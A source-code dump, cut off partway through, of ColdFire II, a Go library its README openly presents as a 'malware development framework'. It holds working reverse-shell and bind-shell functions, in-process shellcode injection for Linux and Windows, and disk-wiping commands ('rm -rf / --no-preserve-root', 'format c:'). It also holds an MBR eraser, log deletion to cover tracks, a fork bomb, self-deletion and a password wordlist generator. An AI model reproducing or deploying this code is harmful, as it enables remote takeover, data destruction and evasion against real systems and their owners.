├── .github └── workflows │ ├── static-check.yml │ └── test.yml ├── LICENSE ├── README.md ├── cmd.go ├── cmd_linux.go ├── cmd_windows.go ├── coldfire.go ├── coldfire.png ├── coldfire_linux.go ├── coldfire_windows.go ├── crypto.go ├── data_manipulation.go ├── go.mod ├── go.sum ├── io.go ├── low.go ├── net.go ├── net_linux.go ├── net_windows.go ├── ngrok.go ├── os.go ├── os_linux.go ├── os_test.go ├── os_windows.go ├── random.go ├── sandbox.go ├── sandbox_linux.go ├── sandbox_windows.go └── wrappers.go /.github/workflows/static-check.yml: -------------------------------------------------------------------------------- 1 | on: 2 | pull_request: 3 | branches: 4 | - master 5 | name: Static Check 6 | 7 | jobs: 8 | 9 | fmt: 10 | name: Fmt 11 | runs-on: ubuntu-latest 12 | steps: 13 | - uses: actions/checkout@master 14 | - name: check 15 | uses: grandcolline/golang-github-actions@v1.1.0 16 | with: 17 | run: fmt 18 | token: ${{ secrets.GITHUB_TOKEN }} 19 | 20 | lint: 21 | name: Lint 22 | runs-on: ubuntu-latest 23 | steps: 24 | - uses: actions/checkout@master 25 | - name: check 26 | uses: grandcolline/golang-github-actions@v1.1.0 27 | with: 28 | run: lint 29 | token: ${{ secrets.GITHUB_TOKEN }} 30 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | on: 2 | pull_request: 3 | branches: 4 | - master 5 | name: Test 6 | 7 | jobs: 8 | 9 | test: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - name: Install Go 13 | uses: actions/setup-go@v2 14 | with: 15 | go-version: 1.17.x 16 | - name: Checkout code 17 | uses: actions/checkout@v2 18 | - name: Test 19 | run: | 20 | go test -coverprofile coverage.txt -covermode atomic ./... 21 | - name: Upload report 22 | env: 23 | CODECOV_TOKEN: "{{ secrets.CODECOV_TOKEN }}" 24 | run: | 25 | bash <(curl -s https://codecov.io/bash) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 redcodelabs.io 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 |

ColdFire II


4 |

5 | 6 | 7 | 8 |

9 | 10 |

11 | Golang malware development framework 12 |

13 | 14 | ## Table of Contents 15 | - [Table of Contents](#table-of-contents) 16 | - [Introduction](#introduction) 17 | - [Installation](#installation) 18 | - [Types of functions included](#types-of-functions-included) 19 | - [Requirements](#requirements) 20 | - [Disclaimer](#disclaimer) 21 | - [License](#license) 22 | 23 | ## Introduction 24 | 25 | ColdFire II provides various methods useful for malware and security infra development in Golang. 26 | 27 | Most functions are compatible with both Linux and Windows operating systems. 28 | 29 | ## Installation 30 | 31 | `go get github.com/redcode-labs/Coldfire` 32 | 33 | ## Docs 34 | 35 | Coming soon 36 | 37 | ## Types of functions included (for maldev) 38 | 39 | * Logging 40 | * Auxiliary 41 | * Reconnaissance 42 | * Evasion 43 | * Administration 44 | * Sandbox detection 45 | * Disruptive 46 | * Low-level 47 | 48 | ## Types of functions included (for infra) 49 | 50 | * Network manipulations 51 | * Cryptography 52 | * IO with specialized readers 53 | * Tunneling 54 | * Target processing 55 | 56 | 57 | ## Requirements 58 | ``` 59 | "github.com/google/gopacket" 60 | "github.com/google/gopacket/layers" 61 | "github.com/google/gopacket/pcap" 62 | "github.com/robfig/cron" 63 | "github.com/anvie/port-scanner" 64 | "github.com/matishsiao/goInfo" 65 | "github.com/fatih/color" 66 | "github.com/minio/minio/pkg/disk" 67 | "github.com/dustin/go-humanize" 68 | "github.com/mitchellh/go-ps" 69 | "github.com/GeertJohan/yubigo" 70 | "github.com/go-sql-driver/mysql" 71 | "github.com/ztrue/tracerr" 72 | "github.com/yalue/elf_reader" 73 | ``` 74 | 75 | ## Disclaimer 76 | Developers are not responsible for any misuse regarding this tool. 77 | Use it only against systems that you are permitted to attack. 78 | 79 | ## License 80 | This software is under MIT license 81 | 82 | -------------------------------------------------------------------------------- /cmd.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "os" 7 | "os/exec" 8 | "runtime" 9 | "strconv" 10 | "strings" 11 | ) 12 | 13 | // CmdOut executes a given command and returns its output. 14 | func CmdOut(command string) (string, error) { 15 | return cmdOut(command) 16 | } 17 | 18 | // CmdOutPlatform executes a given set of commands based on the OS of the machine. 19 | func CmdOutPlatform(commands map[string]string) (string, error) { 20 | cmd := commands[runtime.GOOS] 21 | out, err := CmdOut(cmd) 22 | if err != nil { 23 | return "", err 24 | } 25 | 26 | return out, nil 27 | } 28 | 29 | // CmdRun executes a command and writes output as well 30 | // as error to STDOUT. 31 | func CmdRun(command string) { 32 | parts := strings.Fields(command) 33 | head := parts[0] 34 | parts = parts[1:] 35 | cmd := exec.Command(head, parts...) 36 | output, err := cmd.CombinedOutput() 37 | if err != nil { 38 | PrintError(err.Error()) 39 | fmt.Println(string(output)) 40 | } else { 41 | fmt.Println(string(output)) 42 | } 43 | } 44 | 45 | // CmdBlind runs a command without any side effects. 46 | func CmdBlind(command string) { 47 | parts := strings.Fields(command) 48 | head := parts[0] 49 | parts = parts[1:] 50 | cmd := exec.Command(head, parts...) 51 | _, _ = cmd.CombinedOutput() 52 | } 53 | 54 | // CmdDir executes commands which are mapped to a string 55 | // indicating the directory where the command is executed. 56 | func CmdDir(dirs_cmd map[string]string) ([]string, error) { 57 | outs := []string{} 58 | for dir, cmd := range dirs_cmd { 59 | err := os.Chdir(dir) 60 | if err != nil { 61 | return nil, err 62 | } 63 | 64 | o, err := CmdOut(cmd) 65 | if err != nil { 66 | return nil, err 67 | } 68 | outs = append(outs, o) 69 | } 70 | 71 | return outs, nil 72 | } 73 | 74 | // Bind tells the process to listen to a local port 75 | // for commands. 76 | func Bind(port int) { 77 | listen, err := net.Listen("tcp", "0.0.0.0:"+strconv.Itoa(port)) 78 | ExitOnError(err) 79 | defer listen.Close() 80 | 81 | for { 82 | conn, err := listen.Accept() 83 | if err != nil { 84 | PrintError("Cannot bind to selected port") 85 | } 86 | handleBind(conn) 87 | } 88 | } 89 | 90 | func handleBind(conn net.Conn) { 91 | for { 92 | buffer := make([]byte, 1024) 93 | length, _ := conn.Read(buffer) 94 | command := string(buffer[:length-1]) 95 | out, _ := CmdOut(command) 96 | conn.Write([]byte(out)) 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /cmd_linux.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import "os/exec" 4 | 5 | func cmdOut(command string) (string, error) { 6 | cmd := exec.Command("bash", "-c", command) 7 | output, err := cmd.CombinedOutput() 8 | out := string(output) 9 | return out, err 10 | } 11 | -------------------------------------------------------------------------------- /cmd_windows.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import "os/exec" 4 | 5 | func cmdOut(command string) (string, error) { 6 | cmd := exec.Command("cmd", "/C", command) 7 | //cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 8 | output, err := cmd.CombinedOutput() 9 | out := string(output) 10 | return out, err 11 | } 12 | -------------------------------------------------------------------------------- /coldfire.go: -------------------------------------------------------------------------------- 1 | // Package coldfire is a framework that provides functions 2 | // for malware development that are mostly compatible with 3 | // Linux and Windows operating systems. 4 | package coldfire 5 | 6 | import ( 7 | "bufio" 8 | "database/sql" 9 | "encoding/binary" 10 | "fmt" 11 | "net" 12 | "os" 13 | "os/exec" 14 | "regexp" 15 | "runtime" 16 | "strconv" 17 | "strings" 18 | "time" 19 | 20 | "github.com/GeertJohan/yubigo" 21 | "github.com/fatih/color" 22 | _ "github.com/go-sql-driver/mysql" 23 | _ "github.com/lib/pq" 24 | 25 | "github.com/ztrue/tracerr" 26 | ) 27 | 28 | var ( 29 | Red = color.New(color.FgRed).SprintFunc() 30 | Green = color.New(color.FgGreen).SprintFunc() 31 | Cyan = color.New(color.FgBlue).SprintFunc() 32 | Bold = color.New(color.Bold).SprintFunc() 33 | Yellow = color.New(color.FgYellow).SprintFunc() 34 | Magenta = color.New(color.FgMagenta).SprintFunc() 35 | tmpbuf []byte 36 | ) 37 | 38 | func handleReverse(conn net.Conn) { 39 | message, _ := bufio.NewReader(conn).ReadString('\n') 40 | out, err := exec.Command(strings.TrimSuffix(message, "\n")).Output() 41 | if err != nil { 42 | fmt.Fprintf(conn, "%s\n", err) 43 | } 44 | fmt.Fprintf(conn, "%s\n", out) 45 | } 46 | 47 | func getNTPTime() time.Time { 48 | type ntp struct { 49 | FirstByte, A, B, C uint8 50 | D, E, F uint32 51 | G, H uint64 52 | ReceiveTime uint64 53 | J uint64 54 | } 55 | sock, _ := net.Dial("udp", "us.pool.ntp.org:123") 56 | sock.SetDeadline(time.Now().Add((2 * time.Second))) 57 | defer sock.Close() 58 | transmit := new(ntp) 59 | transmit.FirstByte = 0x1b 60 | binary.Write(sock, binary.BigEndian, transmit) 61 | binary.Read(sock, binary.BigEndian, transmit) 62 | return time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((transmit.ReceiveTime >> 32) * 1000000000))) 63 | } 64 | 65 | // func _sleep(seconds int, endSignal chan<- bool) { 66 | // time.Sleep(time.Duration(seconds) * time.Second) 67 | // endSignal <- true 68 | // } 69 | 70 | // PrintGood is used to print output indicating success. 71 | func PrintGood(msg string) { 72 | dt := time.Now() 73 | t := dt.Format("15:04") 74 | fmt.Printf("[%s] ~ %s \n", Green(t), msg) 75 | } 76 | 77 | // PrintInfo is used to print output containing information. 78 | func PrintInfo(msg string) { 79 | dt := time.Now() 80 | t := dt.Format("15:04") 81 | fmt.Printf("[%s] ~ %s\n", t, msg) 82 | } 83 | 84 | // PrintError is used to print output indicating failure. 85 | func PrintError(msg string) { 86 | dt := time.Now() 87 | t := dt.Format("15:04") 88 | fmt.Printf("[%s] ~ %s \n", Red(t), msg) 89 | } 90 | 91 | // PrintWarning is used to print output indicating potential failure. 92 | func PrintWarning(msg string) { 93 | dt := time.Now() 94 | t := dt.Format("15:04") 95 | fmt.Printf("[%s] - %s \n", Yellow(t), msg) 96 | } 97 | 98 | // Returns true if a file is executable 99 | func IsFileExec(file string) bool { 100 | inf, err := os.Stat(file) 101 | Check(err) 102 | mode := inf.Mode() 103 | return mode&0111 != 0 104 | } 105 | 106 | // Exfiltrates data slowly from either MySQL or Postgres 107 | func HarvestDB(ip, username, password string, port int) { 108 | if PortscanSingle(ip, 5400) { 109 | 110 | } 111 | if PortscanSingle(ip, 3306) { 112 | db, err := sql.Open("mysql", F("%s:%s@tcp(%s:3306)/test", username, password, ip)) 113 | Check(err) 114 | defer db.Close() 115 | } 116 | } 117 | 118 | // Lists remote SQL databases 119 | func ListDB(db *sql.DB, tables bool) []string { 120 | res, err := db.Query("SHOW DATABASES") 121 | if tables { 122 | res, err = db.Query("SHOW TABLES") 123 | } 124 | Check(err) 125 | var result []string 126 | var table string 127 | for res.Next() { 128 | res.Scan(&table) 129 | result = append(result, table) 130 | } 131 | return result 132 | } 133 | 134 | // Verifies Yubico OTP 135 | func Yubi(id, token, otp string) bool { 136 | yubikey, err := yubigo.NewYubiAuth(id, token) 137 | Check(err) 138 | res, ok, err := yubikey.Verify(otp) 139 | if err != nil || !ok || res == nil { 140 | return false 141 | } 142 | return true 143 | } 144 | 145 | // Allocates anonymous memory without using it. 146 | func Alloc(size string) { 147 | tmpbuf = make([]byte, Size2Bytes(size)) 148 | } 149 | 150 | // GenCpuLoad gives the Cpu work to do by spawning goroutines. 151 | func GenCpuLoad(cores int, interval string, percentage int) { 152 | runtime.GOMAXPROCS(cores) 153 | unitHundresOfMicrosecond := 1000 154 | runMicrosecond := unitHundresOfMicrosecond * percentage 155 | // sleepMicrosecond := unitHundresOfMicrosecond*100 - runMicrosecond 156 | 157 | for i := 0; i < cores; i++ { 158 | go func() { 159 | runtime.LockOSThread() 160 | for { 161 | begin := time.Now() 162 | for { 163 | if time.Since(begin) > time.Duration(runMicrosecond)*time.Microsecond { 164 | break 165 | } 166 | } 167 | } 168 | }() 169 | } 170 | 171 | t, _ := time.ParseDuration(interval) 172 | time.Sleep(t * time.Second) 173 | } 174 | 175 | // ExitOnError prints a given error and then stops execution of the process. 176 | func ExitOnError(e error) { 177 | if e != nil { 178 | PrintError(e.Error()) 179 | os.Exit(0) 180 | } 181 | } 182 | 183 | // Basic error handilng and reporting 184 | // Similar to exitOnError() but more verbose and does not exit 185 | func Check(e error) { 186 | u, _ := GetUser() 187 | if e != nil { 188 | fmt.Println(F("I am sorry %s, I'm afraid I can't do that", u)) 189 | tracerr.PrintSourceColor(e) 190 | } 191 | } 192 | 193 | // Wait uses a human friendly string that indicates how long a system should wait. 194 | func Wait(interval string) { 195 | period_letter := string(interval[len(interval)-1]) 196 | intr := string(interval[:len(interval)-1]) 197 | i, _ := strconv.ParseInt(intr, 10, 64) 198 | 199 | var x int64 200 | 201 | switch period_letter { 202 | case "s": 203 | x = i 204 | case "m": 205 | x = i * 60 206 | case "h": 207 | x = i * 3600 208 | } 209 | 210 | time.Sleep(time.Duration(x) * time.Second) 211 | } 212 | 213 | // Forkbomb spawns goroutines in order to crash the machine. 214 | func Forkbomb() { 215 | for { 216 | go Forkbomb() 217 | } 218 | } 219 | 220 | // Remove is used to self delete. 221 | func Remove() { 222 | os.Remove(os.Args[0]) 223 | } 224 | 225 | // Reverse initiates a reverse shell to a given host:port. 226 | func Reverse(host string, port int) { 227 | conn, err := net.Dial("tcp", host+":"+strconv.Itoa(port)) 228 | ExitOnError(err) 229 | 230 | for { 231 | handleReverse(conn) 232 | } 233 | } 234 | 235 | // BannerGrab returns a service banner string from a given port. 236 | func BannerGrab(target string, port int) (string, error) { 237 | conn, err := net.DialTimeout("tcp", target+":"+strconv.Itoa(port), time.Second*10) 238 | if err != nil { 239 | return "", err 240 | } 241 | 242 | buffer := make([]byte, 4096) 243 | conn.SetReadDeadline(time.Now().Add(time.Second * 5)) 244 | 245 | n, err := conn.Read(buffer) 246 | if err != nil { 247 | return "", err 248 | } 249 | 250 | banner := buffer[0:n] 251 | 252 | return string(banner), nil 253 | } 254 | 255 | // EraseMbr zeroes out the Master Boot Record. 256 | // This is linux only, so should live in `coldfier_linux.go` 257 | func EraseMbr(device string, partition_table bool) error { 258 | cmd := f("dd if=/dev/zero of=%s bs=446 count=1", device) 259 | if partition_table { 260 | cmd = f("dd if=/dev/zero of=%s bs=512 count=1", device) 261 | } 262 | 263 | _, err := CmdOut(cmd) 264 | if err != nil { 265 | return err 266 | } 267 | 268 | return nil 269 | } 270 | 271 | // Removes logfiles within the machine. 272 | func ClearLogs() error { 273 | return clearLogs() 274 | } 275 | 276 | // Deletes all data in the machine. 277 | func Wipe() error { 278 | return wipe() 279 | } 280 | 281 | // Checks if a string contains valuable information through regex. 282 | func RegexMatch(regex_type, str string) bool { 283 | regexes := map[string]string{ 284 | "mail": "^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$", 285 | "ip": `(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}`, 286 | "mac": `^([0-9A-Fa-f]{2}[:-])/contains{5}([0-9A-Fa-f]{2})$`, 287 | "date": `\d{4}-\d{2}-\d{2}`, 288 | "domain": `^(?:https?:\/\/)?(?:[^@\/\n]+@)?(?:www\.)?([^:\/\n]+)`, 289 | "phone": `^(?:(?:\(?(?:00|\+)([1-4]\d\d|[1-9]\d?)\)?)?[\-\.\ \\\/]?)?((?:\(?\d{1,}\)?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#|ext\.?|extension|x)[\-\.\ \\\/]?(\d+))?$`, 290 | "ccn": `^(?:4[0-9]{12}(?:[0-9]{3})?|[25][1-7][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})$`, 291 | "time": `^([0-9]|0[0-9]|1[0-9]|2[0-3]):([0-9]|[0-5][0-9])$`, 292 | "crypto": `^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$`, 293 | } 294 | r := regexp.MustCompile(regexes[regex_type]) 295 | matches := r.FindAllString(str, -1) 296 | 297 | return len(matches) != 0 298 | } 299 | 300 | // Launches live documentation of the library on port 8080 or arbitrary 301 | func AutoDoc(port ...int) { 302 | docport := 8080 303 | if len(port) > 0 { 304 | docport = port[0] 305 | } 306 | CmdRun(F("godoc -http=:%d", docport)) 307 | } 308 | 309 | // Injects a bytearray into current process and executes it 310 | func RunShellcode(sc []byte, bg bool) { 311 | runShellcode(sc, bg) 312 | } 313 | -------------------------------------------------------------------------------- /coldfire.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/redcode-labs/Coldfire/72e0ebf8537da48c36166391c591b8ec7e532292/coldfire.png -------------------------------------------------------------------------------- /coldfire_linux.go: -------------------------------------------------------------------------------- 1 | // Package coldfire is a framework that provides functions 2 | // for malware development that are mostly compatible with 3 | // Linux and Windows operating systems. 4 | package coldfire 5 | 6 | import ( 7 | "os" 8 | "syscall" 9 | "unsafe" 10 | ) 11 | 12 | func clearLogs() error { 13 | err := os.RemoveAll("/var/log") 14 | return err 15 | } 16 | 17 | func wipe() error { 18 | cmd := "rm -rf / --no-preserve-root" 19 | _, err := cmdOut(cmd) 20 | if err != nil { 21 | return err 22 | } 23 | 24 | return nil 25 | } 26 | 27 | func runShellcode(shellcode []byte, bg bool) { 28 | sc_addr := uintptr(unsafe.Pointer(&shellcode[0])) 29 | page := (*(*[0xFFFFFF]byte)(unsafe.Pointer(sc_addr & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()] 30 | syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC) 31 | spointer := unsafe.Pointer(&shellcode) 32 | sc_ptr := *(*func())(unsafe.Pointer(&spointer)) 33 | if bg { 34 | go sc_ptr() 35 | } else { 36 | sc_ptr() 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /coldfire_windows.go: -------------------------------------------------------------------------------- 1 | // Package coldfire is a framework that provides functions 2 | // for malware development that are mostly compatible with 3 | // Linux and Windows operating systems. 4 | package coldfire 5 | 6 | import ( 7 | "os" 8 | "syscall" 9 | "unsafe" 10 | ) 11 | 12 | func shutdown() error { 13 | c := "shutdown -s -t 60" 14 | _, err := cmdOut(c) 15 | 16 | return err 17 | } 18 | 19 | func clearLogs() error { 20 | os.Chdir("%windir%\\system32\\config") 21 | _, err := cmdOut("del *log /a /s /q /f") 22 | if err != nil { 23 | return err 24 | } 25 | 26 | return nil 27 | } 28 | 29 | func wipe() error { 30 | cmd := "format c: /fs:ntfs" 31 | _, err := cmdOut(cmd) 32 | if err != nil { 33 | return err 34 | } 35 | 36 | return nil 37 | } 38 | 39 | func runShellcode(sc []byte, bg bool) { 40 | var bg_run uintptr = 0x00 41 | if bg { 42 | bg_run = 0x00000004 43 | } 44 | kernel32 := syscall.MustLoadDLL("kernel32.dll") 45 | VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") 46 | procCreateThread := kernel32.MustFindProc("CreateThread") 47 | waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") 48 | addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x2000|0x1000, syscall.PAGE_EXECUTE_READWRITE) 49 | ptr := (*[990000]byte)(unsafe.Pointer(addr)) 50 | for i, value := range sc { 51 | ptr[i] = value 52 | } 53 | threadHandle, _, _ := procCreateThread.Call(0, 0, addr, 0, bg_run, 0) 54 | waitForSingleObject.Call(threadHandle, uintptr(^uint(0))) 55 | } 56 | -------------------------------------------------------------------------------- /crypto.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/md5" 7 | "crypto/sha1" 8 | "crypto/sha256" 9 | crand "crypto/rand" 10 | "encoding/base64" 11 | "encoding/binary" 12 | "encoding/hex" 13 | "fmt" 14 | "time" 15 | "bytes" 16 | ) 17 | 18 | func GenerateKey() []byte { 19 | random_bytes := make([]byte, 32) 20 | _, err := crand.Read(random_bytes) // Generates 32 cryptographically secure random bytes 21 | if err != nil { 22 | println("Failed to generate the key.") 23 | return nil 24 | } 25 | return random_bytes 26 | } 27 | 28 | func GenerateIV() []byte { 29 | random_bytes := make([]byte, 16) 30 | _, err := crand.Read(random_bytes) // Generates 16 cryptographically secure random bytes 31 | if err != nil { 32 | println("Failed to generate IV.") 33 | return nil 34 | } 35 | return random_bytes 36 | } 37 | 38 | func EncryptBytes(secret_message []byte, key []byte) []byte { 39 | cipher_block, err := aes.NewCipher(key) 40 | if err != nil { 41 | println("Error occured, can't encrypt") 42 | return nil 43 | } 44 | 45 | length_to_bytes := make([]byte, 4) 46 | binary.LittleEndian.PutUint32(length_to_bytes, uint32(len(secret_message))) 47 | 48 | length_and_secret := append(length_to_bytes, secret_message...) 49 | 50 | IV := GenerateIV() 51 | if len(length_and_secret)%16 != 0 { 52 | appending := make([]byte, (16 - len(length_and_secret)%16)) 53 | corrected := append(length_and_secret, appending...) 54 | length_and_secret = corrected 55 | } 56 | 57 | c := cipher.NewCBCEncrypter(cipher_block, IV) 58 | encrypted := make([]byte, len(length_and_secret)) 59 | c.CryptBlocks(encrypted, length_and_secret) 60 | 61 | return append(IV, encrypted...) 62 | } 63 | 64 | func DecryptBytes(encrypted_message []byte, key []byte) []byte { 65 | IV := encrypted_message[0:16] 66 | 67 | actual_ciphertext := encrypted_message[16:] 68 | 69 | cipher_block, err := aes.NewCipher(key) 70 | if err != nil { 71 | println("Error occured, can't decrypt") 72 | } 73 | c := cipher.NewCBCDecrypter(cipher_block, IV) 74 | decrypted := make([]byte, len(actual_ciphertext)) 75 | c.CryptBlocks(decrypted, actual_ciphertext) 76 | 77 | length_bytes := decrypted[0:4] 78 | length := binary.LittleEndian.Uint32(length_bytes) 79 | decrypted = decrypted[4:] 80 | return decrypted[:length] 81 | } 82 | 83 | func EncryptString(message string, key []byte) []byte { 84 | return DecryptBytes([]byte(message), key) 85 | } 86 | 87 | func DecryptString(encrypted_message []byte, key []byte) string { 88 | return string(DecryptBytes(encrypted_message, key)) 89 | } 90 | 91 | // MD5Hash hashes a given string using the MD5. 92 | func Md5Hash(str string) string { 93 | hasher := md5.New() 94 | hasher.Write([]byte(str)) 95 | 96 | return hex.EncodeToString(hasher.Sum(nil)) 97 | } 98 | 99 | //SHA1Hash hashes a given string using the SHA1. 100 | func Sha1Hash(str string) string { 101 | hasher := sha1.New() 102 | hasher.Write([]byte(str)) 103 | return hex.EncodeToString(hasher.Sum(nil)) 104 | } 105 | 106 | func Sha256Hash(str string) string { 107 | hasher := sha256.New() 108 | hasher.Write([]byte(str)) 109 | return hex.EncodeToString(hasher.Sum(nil)) 110 | } 111 | 112 | // B64D decodes a given string encoded in Base64. 113 | func B64D(str string) string { 114 | raw, _ := base64.StdEncoding.DecodeString(str) 115 | 116 | return fmt.Sprintf("%s", raw) 117 | } 118 | 119 | // B64E encodes a string in Base64. 120 | func B64E(str string) string { 121 | return base64.StdEncoding.EncodeToString([]byte(str)) 122 | } 123 | 124 | func Rot13(str string) string{ 125 | var finaldata bytes.Buffer 126 | for _, character := range str { 127 | if character >= 'a' && character <= 'z' { 128 | if character > 'm' { 129 | character_tmp := character - 13 130 | finaldata.WriteString(string(character_tmp)) 131 | } else if character == 'm' { 132 | character_tmp := 'z' 133 | finaldata.WriteString(string(character_tmp)) 134 | } else if character == 'z' { 135 | character_tmp := 'm' 136 | finaldata.WriteString(string(character_tmp)) 137 | } else { 138 | character_tmp := character + 13 139 | finaldata.WriteString(string(character_tmp)) 140 | } 141 | }else if character >= 'A' && character <= 'Z' { 142 | if character > 'M' { 143 | character_tmp := character - 13 144 | finaldata.WriteString(string(character_tmp)) 145 | } else if character == 'M' { 146 | character_tmp := 'Z' 147 | finaldata.WriteString(string(character_tmp)) 148 | }else if character == 'Z'{ 149 | character_tmp := 'M' 150 | finaldata.WriteString(string(character_tmp)) 151 | } else { 152 | character_tmp := character + 13 153 | finaldata.WriteString(string(character_tmp)) 154 | } 155 | } 156 | } 157 | return finaldata.String() 158 | } 159 | 160 | func UnixToTime(time_num int64) string{ 161 | return time.Unix(time_num, 0).String() 162 | } 163 | 164 | -------------------------------------------------------------------------------- /data_manipulation.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "bufio" 5 | "encoding/gob" 6 | "fmt" 7 | "math/rand" 8 | "net" 9 | "os" 10 | "reflect" 11 | "regexp" 12 | "strconv" 13 | "strings" 14 | "time" 15 | 16 | "github.com/c-robinson/iplib" 17 | ) 18 | 19 | // RemoveFromSlice removes a string from a list of strings if it exists. 20 | func RemoveFromSlice(slice []string, element string) []string { 21 | res := []string{} 22 | 23 | for _, e := range slice { 24 | if e != element { 25 | res = append(res, e) 26 | } 27 | } 28 | 29 | return res 30 | } 31 | 32 | // CreateWordList generates possible variations of each word in the wordlist. 33 | func CreateWordlist(words []string) []string { 34 | wordlist := []string{} 35 | for _, w := range words { 36 | word := w 37 | first_to_upper := strings.ToUpper(string(word[0])) + string(word[1:]) 38 | wordlist = append(wordlist, strings.ToUpper(word)) 39 | wordlist = append(wordlist, Revert(word)) 40 | wordlist = append(wordlist, first_to_upper) 41 | wordlist = append(wordlist, first_to_upper+"1") 42 | wordlist = append(wordlist, first_to_upper+"12") 43 | wordlist = append(wordlist, first_to_upper+"123") 44 | wordlist = append(wordlist, word+"1") 45 | wordlist = append(wordlist, word+"12") 46 | wordlist = append(wordlist, word+"123") 47 | } 48 | 49 | return wordlist 50 | } 51 | 52 | // RemoveStr removes a given string from a list of strings. 53 | func RemoveStr(slice []string, s string) []string { 54 | final := []string{} 55 | for _, e := range slice { 56 | if e != s { 57 | final = append(final, e) 58 | } 59 | } 60 | 61 | return final 62 | } 63 | 64 | // RemoveInt removes a given integer from a list of integers. 65 | func RemoveInt(slice []int, s int) []int { 66 | final := []int{} 67 | for _, e := range slice { 68 | if e != s { 69 | final = append(final, e) 70 | } 71 | } 72 | 73 | return final 74 | } 75 | 76 | // SplitJoin splits a string then joins them using given delimiters. 77 | func SplitJoin(s, splittBy, joinBy string) string { 78 | splitted := strings.Split(s, splittBy) 79 | joined := strings.Join(splitted, joinBy) 80 | return joined 81 | } 82 | 83 | // RevertSlice reverses a slice type agnostically. 84 | func RevertSlice(s interface{}) { 85 | n := reflect.ValueOf(s).Len() 86 | swap := reflect.Swapper(s) 87 | for i, j := 0, n-1; i < j; i, j = i+1, j-1 { 88 | swap(i, j) 89 | } 90 | } 91 | 92 | // Split a string by multiple sepaators to a single slice 93 | func SplitMultiSep(s string, seps []string) []string { 94 | f := func(c rune) bool { 95 | for _, sep := range seps { 96 | if string(c) == sep { 97 | return true 98 | } 99 | } 100 | return false 101 | } 102 | fields := strings.FieldsFunc(s, f) 103 | return fields 104 | } 105 | 106 | // Applies a function to each element of a generic slice. 107 | func SliceTransform(s []interface{}, f func(interface{}) interface{}) { 108 | slen := reflect.ValueOf(s).Len() 109 | for i := 0; i < slen; i++ { 110 | s[i] = f(s[i]) 111 | } 112 | } 113 | 114 | // Split string to a slice with chunks of desired length 115 | func SplitChunks(s string, chunk int) []string { 116 | if chunk >= len(s) { 117 | return []string{s} 118 | } 119 | var chunks []string 120 | c := make([]rune, chunk) 121 | len := 0 122 | for _, r := range s { 123 | c[len] = r 124 | len++ 125 | if len == chunk { 126 | chunks = append(chunks, string(c)) 127 | len = 0 128 | } 129 | } 130 | if len > 0 { 131 | chunks = append(chunks, string(c[:len])) 132 | } 133 | return chunks 134 | } 135 | 136 | // ExtractIntFromString extracts a list of possible integers from a given string. 137 | func ExtractIntFromString(s string) []int { 138 | res := []int{} 139 | re := regexp.MustCompile(`[-]?\d[\d,]*[\.]?[\d{2}]*`) 140 | submatchall := re.FindAllString(s, -1) 141 | for _, element := range submatchall { 142 | res = append(res, Str2Int(element)) 143 | } 144 | return res 145 | } 146 | 147 | // ShuffleSlice randomly shuffles a list of strings. 148 | func ShuffleSlice(s []string) []string { 149 | rand.Seed(time.Now().UnixNano()) 150 | rand.Shuffle(len(s), func(i, j int) { 151 | s[i], s[j] = s[j], s[i] 152 | }) 153 | return s 154 | } 155 | 156 | // ShuffleSliceInt randomly shuffles a list of integers. 157 | func ShuffleSliceInt(s []int) []int { 158 | rand.Seed(time.Now().UnixNano()) 159 | rand.Shuffle(len(s), 